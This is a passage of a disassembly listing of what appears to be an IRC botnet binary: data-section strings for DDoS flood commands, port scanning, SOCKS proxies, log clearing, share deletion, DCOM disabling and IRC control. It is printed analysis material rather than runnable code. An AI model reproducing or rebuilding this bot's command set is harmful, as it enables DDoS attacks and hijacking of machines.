		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_432754	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_432788	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 10h
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 10h
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 10h
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 10h
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 10h
dword_432860	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_432888	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_4328E8	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_432904	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_432910	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_43291C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_43292C	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_432938	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_432944	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_432954	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_432960	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_43296C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_43297C	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_432988	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_432994	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4329A0	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4329B0	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_4329D4	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_4329E0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_4329EC	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_4329F4	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_432A00	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_432A10	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_432A34	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 10h
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 10h
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 4
asc_432AEC:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 4
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_432B30	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_432B70	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_432BB0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_432BF4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 4
dword_432C2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_432C7C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_432CC4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_432CDC	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 10h
dword_432D00	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_432D1C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_432D28	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 4
dword_432D6C	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_432D74	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_432D78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_432DA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_432E04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 10h
asc_432E80:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_432E84	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_432E94	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_432ECC	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_432F04	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_432F38	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_432F70	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
dword_432FAC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_432FF8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_433034	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_43306C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst		db 'const',0
		align 4
		dd 0
dword_43327C	dd 1			; DATA XREF: sub_415D01+7o
off_433280	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_4332D4	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_4332DC	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_4332E0	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_4332E4	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_4332EC	dd 334B32h		; DATA XREF: ___:00415C08o
dword_4332F0	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_4332F8	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_4332FC	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_433370	dd offset dword_4333A8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_4333A0
		align 10h
off_433380	dd offset dword_43339C	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_433398
		dd offset dword_433394
		dd offset dword_433390
dword_433390	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:0043338Co
dword_433394	dd 2444h		; DATA XREF: ___:00433388o
dword_433398	dd 5C3A43h		; DATA XREF: ___:00433384o
dword_43339C	dd 2443h		; DATA XREF: ___:off_433380o
dword_4333A0	dd 494D4441h, 244Eh	; DATA XREF: ___:00433378o
dword_4333A8	dd 24435049h, 0		; DATA XREF: ___:off_433370o
unk_4333B0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_4333F0	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_433428	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_433464	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_433498	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_4334D4	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_433508	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_433548	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_433594	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4335D8	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_433638	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_433678	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_4336A4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_4336E4	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_4336E8	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_433728	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_433760	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_433790	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
